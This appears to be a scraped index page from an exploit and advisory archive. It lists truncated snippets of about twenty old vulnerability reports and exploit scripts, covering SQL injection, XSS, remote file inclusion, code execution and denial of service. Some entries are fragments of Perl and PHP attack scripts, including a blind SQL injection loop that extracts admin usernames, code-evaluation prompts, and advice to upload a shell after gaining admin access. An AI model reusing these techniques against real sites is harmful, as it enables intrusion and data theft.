Weblosninger 4 - Cross-Site Scripting / SQL Injection

Viva IsLaM sql / xss Multiple Vulnerabilities weblosning V1, V2,V3,V4 index2.php id Script Name : Weblosning V1, V2,V3,V4 Demo : http://www.simpelside.dk/ AuTh0r: Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM Email : [email protected] V1 ::V2 :: V3 :: V4 D0rk : allinurl: "index2.php" mainid ==== SQL :::::::: V1...

Hyper Estraier directory traversal/denial of service vulnerability

Overview Hyper Estraier, a full text search system, contains a vulnerability in the process of creating index files. Impact If a remote attacker sends a specially crafted file and a user saves it in a search target directory, the attacker could register a file not to be searched in an index when...

Ichitaro series buffer overflow vulnerability

Overview The "Ichitaro" series word processing software contains a buffer overflow vulnerability. This vulnerability is different from JVN29211062 and JVN32981509. The "Ichitaro" series word processing software, from JustSystems Corporation, contains a buffer overflow vulnerability. If a user ope...

Vortex CMS - 'pageid' Blind SQL Injection

php '.$argv0.' http://www.site.com/cms/ 1 1 '; if $argc 1 printr' '; echo 'Searching for Admin: '; for$i=1; $i = 50; $i++ $temp1 = filegetcontents$argv1.'index.php?pageid='.$argv2.''and+lengthselect+username+from+systemuserslogins+where+id='.$argv3.'='.$i.'/'; if strpos$temp1,'Sorry, the page you...

Safari multiple security vulnerabilities

DoS conditions, link target spoofing...

PHPKB Knowledge Base Software 1.5 - ID SQL Injection

PHPKB Knowledge Base Software 1.5 - ID SQL Injection PHPKB Knowledge Base Software comment.php Sql Injection Vulnerability ------------------------------------------------------------------------------------------------- Author : parad0x Home : www.inso.host.sk Script : PHPKB Knowledge Base...

Picture Rating 1.0 - Blind SQL Injection

!/usr/bin/perl -- Picture Rating 1.0 Blind SQL Injection Exploit -- -Info/Instructions- After running this perl script, you will have admin details therefore you will be able to login to the admin area at http://site.com/control/ ok once you have logged in has admin you can upload a shell, click...

Preemptive Protection against Microsoft Excel Macro Validation Remote Code Execution Vulnerability (MS08-014)

A memory corruption vulnerability has been identified in Microsoft Excel. Microsoft Excel is a popular spreadsheet application. A remote attacker could exploit this issue via a malformed Excel file. Successful exploitation of this vulnerability may allow execution of arbitrary code on a target...

MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow DoS

Exploit for unknown platform in category dos / poc ============================================================= MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow DoS ============================================================= !/usr/bin/python MailEnable SMTP Service VRFY/EXPN Command...

Juniper Networks Secure Access 2000 rdremediate.cgi跨站脚本漏洞

BUGTRAQ ID: 28034 Juniper Networks的Secure Access 2000是企业级的SSL VPN接入设备。 Secure Access 2000的/dana-na/auth/rdremediate.cgi服务器端脚本没有正确的验证对deliverymode参数的输入，如果用户向该脚本提交了恶意请求的话，就可能在服务器上执行跨站脚本攻击。 Juniper Networks Secure Access 2000 5.5R1 build 11711 厂商补丁： Juniper Networks ----------------...

CVE-2008-1080

Opera before 9.26 allows user-assisted remote attackers to read arbitrary files by tricking a user into typing the characters of the target filename into a file input...

ProCheckUp Security Advisory 2007.41

PR07-41: XSS on Juniper Networks Secure Access 2000 Vulnerability found: 6th December 2007 Vendor informed: 12th December 2007 Severity: Medium-high Description: Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS. Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'...

dbhcms-rfi.txt

!/usr/bin/perl DBHcms $shellurl = "http://localhost/s.txt"; print " DBHcms ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? "; chomp$code=; $code = s/|new; $ua-timeout10; $ua-envproxy; $response = $ua-post$target,...

PT-2008-2399

Name of the Vulnerable Software and Affected Versions MoinMoin versions 1.5.8 and earlier Description The issue allows remote attackers to inject arbitrary web script or HTML via the message, pagename, and target filenames in the action/AttachFile.py file. This enables attackers to perform...

Affiliate Market Ver.0.1 BETA XSS / SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= Affiliate Market Ver.0.1 BETA XSS / SQL Injection Exploit ========================================================= !/usr/bin/perl Affiliate Market Ver.0.1 BETA Multiple Remote...

nuBoard 0.5 - ssid SQL Injection

nuBoard 0.5 - ssid SQL Injection Nuboardv0.5 SQL Injection Vulnerability By IRCRASH AUTHOR : IRCRASH Discovered by : Dr.Crash Exploited By : Dr.Crash IRCRASH Team Members : Dr.Crash - Malc0de - R3d.w0rm Script Download : http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboardv0.5.tar.gz SQL...

journalness-exec.txt

!/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to...

domphp-lfi.txt

------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo -------- ------------------------------------------------------------- = Author : HouSSaMix From H-T Team = Script : DomPHP 0.82 = Download : http://www.domphp.com/download/ = BUG : Loca...

openrealty-exec.txt

!/usr/bin/perl Vendor url: www.open-realty.org note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Open-Realty ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? ";...

Journalness 4.1 - last_module Remote Code Execution

Journalness 4.1 - lastmodule Remote Code Execution !/usr/bin/perl Vendor url: journalness.sourceforge.net note: exploit requires Registerglobals = On in php.ini Iron http://www.randombase.com require LWP::UserAgent; print " Journalness ; if$target ! /^http:/// $target = "http://".$target;...